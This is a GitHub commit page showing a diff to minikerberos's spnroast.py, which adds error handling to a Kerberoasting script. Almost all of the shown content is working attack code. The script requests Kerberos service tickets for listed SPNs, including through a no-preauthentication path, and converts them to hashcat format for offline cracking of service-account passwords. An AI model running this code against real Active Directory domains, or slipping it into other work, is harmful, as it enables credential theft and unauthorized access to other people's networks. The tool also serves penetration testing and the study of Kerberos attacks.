Skip to content

Commit d2fb519

Browse files
author
SkelSec
committed
spnroast error handling
1 parent f351a49 commit d2fb519

File tree

1 file changed

+36
-32
lines changed

1 file changed

+36
-32
lines changed

minikerberos/examples/spnroast.py

Lines changed: 36 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66

77
import logging
88
import asyncio
9+
import traceback
910
from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog
1011
from minikerberos.common.spn import KerberosSPN
1112
from minikerberos.aioclient import AIOKerberosClient
@@ -16,41 +17,44 @@
1617

1718
async def spnroast(connection_url, spn, realm, out_file):
1819
try:
19-
with open(spn, 'r') as f:
20-
pass
21-
spns = KerberosSPN.from_file(spn, override_realm=realm)
22-
except:
23-
spns = [KerberosSPN.from_spn(spn, override_realm=realm)]
24-
25-
cu = KerberosClientURL.from_url(connection_url)
26-
ccred = cu.get_creds()
27-
target = cu.get_target()
28-
29-
30-
results = []
31-
for spn in spns:
3220
try:
33-
client = AIOKerberosClient(ccred, target)
34-
if client.usercreds.nopreauth is True:
35-
await client.get_TGT(override_sname=spn)
36-
tgshash = TGSTicket2hashcat(client.kerberos_TGT)
37-
else:
38-
await client.get_TGT()
39-
tgs, _, _ = await client.get_TGS(spn)
40-
tgshash = TGSTicket2hashcat(tgs)
41-
42-
if out_file is None:
43-
print(tgshash)
44-
results.append(tgshash)
45-
except Exception as e:
46-
spnroastlogger.debug('Failed roasting %s Reason: %s' % (spn, str(e)))
21+
with open(spn, 'r') as f:
22+
pass
23+
spns = KerberosSPN.from_file(spn, override_realm=realm)
24+
except:
25+
spns = [KerberosSPN.from_spn(spn, override_realm=realm)]
26+
27+
cu = KerberosClientURL.from_url(connection_url)
28+
ccred = cu.get_creds()
29+
target = cu.get_target()
30+
4731

48-
if out_file is not None:
49-
with open(out_file, 'w', newline='') as f:
50-
for result in results:
51-
f.write(result + '\r\n')
32+
results = []
33+
for spn in spns:
34+
try:
35+
client = AIOKerberosClient(ccred, target)
36+
if client.usercreds.nopreauth is True:
37+
await client.get_TGT(override_sname=spn)
38+
tgshash = TGSTicket2hashcat(client.kerberos_TGT)
39+
else:
40+
await client.get_TGT()
41+
tgs, _, _ = await client.get_TGS(spn)
42+
tgshash = TGSTicket2hashcat(tgs)
43+
44+
if out_file is None:
45+
print(tgshash)
46+
results.append(tgshash)
47+
except Exception as e:
48+
spnroastlogger.debug('Failed roasting %s Reason: %s' % (spn, str(e)))
5249

53-
return results
50+
if out_file is not None:
51+
with open(out_file, 'w', newline='') as f:
52+
for result in results:
53+
f.write(result + '\r\n')
54+
print(results)
55+
return results
56+
except:
57+
traceback.print_exc()
5458

5559

5660
async def amain():

0 commit comments

Comments
 (0)